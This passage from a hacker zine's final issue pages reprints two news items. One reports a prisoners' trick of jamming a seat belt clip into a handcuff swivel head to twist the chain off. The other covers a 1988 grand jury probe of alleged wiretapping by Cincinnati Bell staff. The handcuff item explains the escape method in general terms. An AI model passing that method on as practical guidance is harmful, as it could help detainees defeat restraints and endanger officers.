freely to ensure that the chain cannot be twisted when the wrists move. Seat
belt clips typically have one or two holes, or slots, that lock them into
place with the buckle. The prisoners learned that jamming the swivel-head on
the clip stops the swivel head from turning freely. "A quick twist of the
wrist, and the chain shears off at the cuff," the sheriff said.

   The sheriff ordered seat belts removed from jail vans. He also ordered
that the prisoners in cruisers be handcuffed with their hands behind their
back and the seat belts locked firmly across them. Deputies often handcuffed
prisoners' hands in front of their bodies. But even if prisoners were cuffed
behind their backs, it would not be difficult for them to manipulate the
swivel head into a seat belt buckle and twist themselves free -- if they
could reach the seat belt. "This is a danger to every law enforcement officer
in the country", the sheriff said.

   Handcuff manufacturers contacted Friday are studying the possibility of
redesigning the handcuffs by enlarging the swivel head or placing some type
of shroud over it. "People in jail have 24 hours a day to figure a way out"
said the sheriff.

   "Although only 10 people know the technique, I guarantee that the entire
jail population will know how to do it before the day is up,". "The only
people who won't know about it is law enforcement officers".  The sheriff
met Friday with representatives of several local and federal agencies. An
FBI spokesman said the escape technique will be described in the FBI's
nationally distributed LAW ENFORCEMENT BULLETIN.

   Although the sheriff was grateful to learn about the technique from
prisoners who did not try to escape, he was not amused. He told deputies,
"Charge them with destruction of county property. We'll see how funny they
think that is."

_____________________________________________________________________________

Title: Federal grand jury probes Cincinnati Bell wiretapping flap
Source: Data Communications
Issue: November 1988
Author: John Bush

   A federal grand jury in Ohio is investigating illegal wiretapping
allegations involving two former employees of Cincinnati Bell who claim the
telephone company ordered them for more than a decade to eavesdrop on
customers.

   In addition, an attorney who filed a class-action lawsuit against
Cincinnati Bell on behalf of the people and companies who were allegedly
wiretapped, says he is trying to prove that the telephone company sold the
information gained from the electronic surveillance.

   A Cincinnati Bell spokesperson denied the charges, saying they were
trumped-up by the two former employees, who are seeking revenge after being
fired by the telephone company.

   The lawsuit has been filed against Cincinnati Bell Inc. on behalf of
Harold Mills, a former police lieutenant and former commander of the
Cincinnati Vice Squad, as well as a number of other individuals and companies.
Among the alleged victims mentioned in the complaint were Sen. Howard
Metzenbaum (D-Ohio) and Proctor and Gamble Co. (Cincinnati, Ohio).

   Gene Mesh, the attorney who filed the lawsuit, believes the Cincinnati Bell
case is not an isolated incident but a trend...an explosion of cancer that
"this kind of thing [wiretapping] has developed its own markets."

   When asked if Cincinnati Bell was selling the information gained from
tapping, Mesh said "we are proceeding along evidentiary lines to prove this."

   Thus far, the civil action hinges on the testimony of two former Cincinnati
Bell employees, Leonard Gates, a supervisor, and Robert Draise, an installer
who at one time worked for Gates. Their combined testimony states that, under
the auspices of Cincinnati Bell, they conducted over 1,200 illegal wiretaps
from 1972 to the present.

   According to Gates, as a result of the Proctor and Gamble wiretap, "we
were into all of P&G's databases." In addition, both Gates and Draise claim
to have been in on illegal wiretaps of General Electric Co.'s Aircraft Engines
Division near Cincinnati. Draise also claims that he was ordered to identify
all of GE's facsimile and modem lines for Cincinnati Bell.

   Neither Proctor and Gamble nor General Electric would comment. However
Sen. Howard Metzenbaum's Washington, D.D., office says that the Senator
"found the news shocking and is awaiting more information to see if it
[the wiretap] actually happened.

   Meanwhile Cincinnati Bell maintains that the suit and allegations are
merely Gates's and Draise's way of getting back at the phone company for
having fired them.

   Cyndy Cantoni, a spokesperson for Cincinnati Bell, said that "we have heard
the allegations that we wiretapped, but if Draise or Gates did any tapping, it
wasn't done at Cincinnati Bell's request."

   Cantoni also cited a letter from Cincinnati Bell President Ray Clark that
went out to all Cincinnati Bell employees in the wake of the publicity
surrounding the wiretapping accusations. The letter stated that Gates had been
warned in April 1985 against continuing an affair with an employee he had been
supervising and who had accused him [Gates] of sexual harassment, according to
Cantoni.

   The letter went on to say that Gates reacted to the warning with
insubordination and threats and "carried on a campaign against the company."
As a result, Gates was fired for insubordination, says Cantoni. Robert Draise
was fired after he was convicted of misdemeanor wiretapping charges for
tapping the phone line of a friend's girlfriend, Cantoni says.

   Cincinnati Bell is an independent telephone company that was allowed to
keep the "Bell" trademark after divestiture, since it is older than AT&T,
says Cantoni.

[ End of Document ]
[ End Of The LOD/H Technical Journal Issue #4 ]